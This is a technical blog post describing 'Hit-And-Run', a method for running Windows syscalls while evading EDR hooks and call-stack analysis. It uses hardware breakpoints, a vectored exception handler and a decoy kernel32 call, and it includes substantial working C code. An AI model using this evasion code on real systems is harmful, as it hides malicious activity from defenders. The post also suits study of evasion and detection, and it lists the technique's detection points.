Hit-And-Run: A Novel Syscall Method
Bypassing EDRs via VEH and Call Stack Theft

Introducion
If you’re reading this, I assume you’re familiar with system calls, EDRs, and so on. If not, I suggest you take a look at my SysCalling project on GitHub, which covers all the topics you’ll need to know about before getting into this article.
This article introduces Hit-And-Run, a technique designed to execute syscalls while bypassing Endpoint Detection and Response (EDR) systems through what I call “call stack theft” and abuse of the Vectored Exception Handling (VEH) structure.
There’s nothing groundbreaking or unheard of about this technique. On the contrary, it’s just one of many (and there are many) that use VEH to perform syscalls.
The key difference is that in addition to bypassing the inline hooking, Hit-and-Run also aims to evade potential call stack analysis mechanisms, by creating a coherent and non-suspicious call stack. This means that the chain of function calls leading to the execution of the syscall is consistent with both the specific syscall being executed and with the standard use of Windows APIs. In other words, from a call stack analysis perspective, there’s no evidence of inline hooking being bypassed.
Implementation step-by-step
The primary goal of Hit and Run is to execute syscalls with attacker-defined parameters, bypassing inline hooking while building a legitimate-looking call stack, that mimics standard Windows behavior.
The technique relies on:
- Vectored Exception Handling (VEH): A Windows mechanism that allows developers to dynamically handle exceptions at runtime.
- Call Stack Theft: The call stack of a legitimate function is hijacked to ensure that the syscall appears to come from a valid Windows API sequence.
Let’s see how this is done step by step.
Please Note: As a fan of “don’t reinvent the wheel”, in PoC implementation all functionality related to resolving function addresses in ntdll.dll
and SSNs has been borrowed from SysWhispers3
1. Invoking the Target Function with intended parameters
The process begins by calling a legitimate function in ntdll.dll
. This function is the attacker’s ultimate target, but at this stage it only serves as an entry point to set up the execution flow.
NTSTATUS CallNtAllocateVirtualMemory(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect)
{
REDIRECT_TO_ADDR = &DummyVirtualAllocEx;
STACKS_ARGS_NUMBER = 2;
if (!PrepareAndSetBreakpoint(ZwAllocateVirtualMemoryHash))
return NULL;
return ((NtAllocateVirtualMemory)EXCP_ADDR)(ProcessHandle, BaseAddress, ZeroBits, RegionSize, AllocationType, Protect);
}
2. Setting Breakpoints
The function PrepareAndSetBreakpoint
configures 2 hardware breakpoints :
- The first (
EXCP_ADDR
), is set on the first instruction of the target function. - The second (
SYSC_ADDR
), is set on thesyscall
instruction.
These breakpoints are set by manipulating the debug registers (Dr0
, Dr7
), using functions such asEnableBreakpoint
.
static BOOL PrepareAndSetBreakpoint(DWORD functionHash)
{
CONTEXT threadContext;
threadContext.ContextFlags = CONTEXT_ALL;
if (!GetThreadContext((HANDLE)-2, &threadContext))
return FALSE;
// Resolve addresses for function and syscall
EXCP_ADDR = SW3_GetFunctionVAddress(functionHash);
if (EXCP_ADDR == NULL)
return FALSE;
SYSC_ADDR = SW3_GetSyscallAddress(functionHash);
if (SYSC_ADDR == NULL)
return FALSE;
SSN = SW3_GetSyscallNumber(functionHash);
if (SSN == 0)
return FALSE;
// Enable breakpoints at the function and syscall addresses
EnableBreakpoint(&threadContext, EXCP_ADDR, 0);
EnableBreakpoint(&threadContext, SYSC_ADDR, 1);
SetThreadContext((HANDLE)-2, &threadContext);
return TRUE;
}
//Hardware breakpoint related from https://gist.github.com/CCob/fe3b63d80890fafeca982f76c8a3efdf
unsigned long long setBits(unsigned long long dw, int lowBit, int bits, unsigned long long newValue)
{
unsigned long long mask = (1UL << bits) - 1UL;
dw = (dw & ~(mask << lowBit)) | (newValue << lowBit);
return dw;
}
void EnableBreakpoint(CONTEXT* ctx, PVOID address, int index) {
switch (index) {
case 0:
ctx->Dr0 = (ULONG_PTR)address;
break;
case 1:
ctx->Dr1 = (ULONG_PTR)address;
break;
case 2:
ctx->Dr2 = (ULONG_PTR)address;
break;
case 3:
ctx->Dr3 = (ULONG_PTR)address;
break;
}
ctx->Dr7 = setBits(ctx->Dr7, 16, 16, 0);
ctx->Dr7 = setBits(ctx->Dr7, (index * 2), 1, 1);
ctx->Dr6 = 0;
}
Why hardware breakpoints?
Hardware breakpoints provide a precise mechanism to interrupt execution at specific addresses. They don’t modify the code itself, reducing the risk of detection compared to software breakpoints.
3. Handling the First Exception
When the execution flow hits the first breakpoint (EXCP_ADDR
), the custom vectored exception handler is triggered. Then:
- The handler saves the current execution context (
CONTEXT
structure), including the call stack and register values. - It then redirects execution to the appropriate
kernel32.dll
function, which act as a dummy function.
static LONG WINAPI NtdllExceptionHandler(PEXCEPTION_POINTERS exception)
{
// FIRST HIT - at EXCP_ADDR (ntdll function first instruction)
if (exception->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP &&
exception->ExceptionRecord->ExceptionAddress == EXCP_ADDR)
{
ClearBreakpoint(exception->ContextRecord, 0);
// Save context for later restoration
SAVED_CONTEXT = (PCONTEXT)HeapAlloc(GetProcessHeap(), 0, sizeof(CONTEXT));
memcpy_s(SAVED_CONTEXT, sizeof(CONTEXT), exception->ContextRecord, sizeof(CONTEXT));
// Redirect execution to the custom function
exception->ContextRecord->Rip = (DWORD64)REDIRECT_TO_ADDR;
return EXCEPTION_CONTINUE_EXECUTION;
}
[...]
4. Executing the Corresponding Kernel32 API
These functions ensure that a legitimate call stack is built, using safe parameters to avoid alerting EDR.
// Dummy function for VirtualAllocEx redirection
static void DummyVirtualAllocEx()
{
VirtualAllocEx(GetCurrentProcess(), NULL, 1, 0, 0);
}
5. Handling the Second Exception
When the execution flow reaches the syscall instruction (SYSC_ADDR
), the second breakpoint is triggered.
The original execution context is restored, replacing the dummy parameters with the attacker’s intended values.
[...]
// SECOND HIT - at SYSC_ADDR (syscall address)
if (exception->ExceptionRecord->ExceptionCode == EXCEPTION_SINGLE_STEP &&
exception->ExceptionRecord->ExceptionAddress == SYSC_ADDR)
{
// Restore original stack arguments
exception->ContextRecord->Rcx = SAVED_CONTEXT->Rcx;
exception->ContextRecord->Rdx = SAVED_CONTEXT->Rdx;
exception->ContextRecord->R8 = SAVED_CONTEXT->R8;
exception->ContextRecord->R9 = SAVED_CONTEXT->R9;
//printf("\n\n --debug begin-- \n\n");
DWORD k = 0x1;
// Restore stack values for arguments
while (STACKS_ARGS_NUMBER > 0)
{
DWORD offset = 0x8 * (0x4 + k);
//printf("address on stack: %p - %p\n", exception->ContextRecord->Rsp + offset, SAVED_CONTEXT->Rsp + offset);
//printf("values: %p - %p\n", *(ULONG64*)(exception->ContextRecord->Rsp + offset), *(ULONG64*)(SAVED_CONTEXT->Rsp + offset));
*(ULONG64*)(exception->ContextRecord->Rsp + offset) = *(ULONG64*)(SAVED_CONTEXT->Rsp + offset);
//printf("new values: %p - %p\n\n", *(ULONG64*)(exception->ContextRecord->Rsp + offset), *(ULONG64*)(SAVED_CONTEXT->Rsp + offset));
STACKS_ARGS_NUMBER--;
k += 0x1;
}
//printf("\n\n --debug end-- \n\n");
exception->ContextRecord->R10 = exception->ContextRecord->Rcx;
ClearBreakpoint(exception->ContextRecord, 1);
HeapFree(GetProcessHeap(), HEAP_ZERO_MEMORY, SAVED_CONTEXT);
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
6. Executing the Syscall
Finally, the syscall is executed with the desired parameters. From an EDR perspective, the call stack shows a seamless flow through Windows APIs (kernel32.dll
, kernelbase.dll
, and ntdll.dll
), with no indication of tampering.
Note that the EDR DLL is also traversed with no evidence of malicious activity.

To help clarify the execution flow, here’s a diagram showing the process of calling a syscall using hit-and-run.

Critical Considerations
While Hit-And-Run could be effective, it has its limitations:
- Detectable Setup Phase: The technique relies on APIs like
AddVectoredExceptionHandler
to register the custom exception handler. These APIs are often monitored by EDRs, making the setup phase a potential detection point. - Hardware Breakpoints: Debug registers (
Dr0
,Dr7
) are modified to set breakpoints. EDRs may monitor these registers for unusual activity. - Pattern Detection: The repeated triggering of exceptions and the predictable redirection flow could be profiled by EDRs with behavior-based detection.
Conclusions and Credits
All the code that implements Hit-and-Run proof of concept is available in its repository: https://github.com/UmaRex01/Hit-And-Run
Finally, a shout-out to all the other research in this area that inspired the creation of Hit-and-Run, linked below:
- https://cyberwarfare.live/bypassing-av-edr-hooks-via-vectored-syscall-poc/
- https://redops.at/en/blog/syscalls-via-vectored-exception-handling
- https://winslow1984.com/books/malware/page/mutationgate
- https://github.com/RedTeamOperations/VEH-PoC
- https://github.com/rad9800/TamperingSyscalls
- https://github.com/Dec0ne/HWSyscalls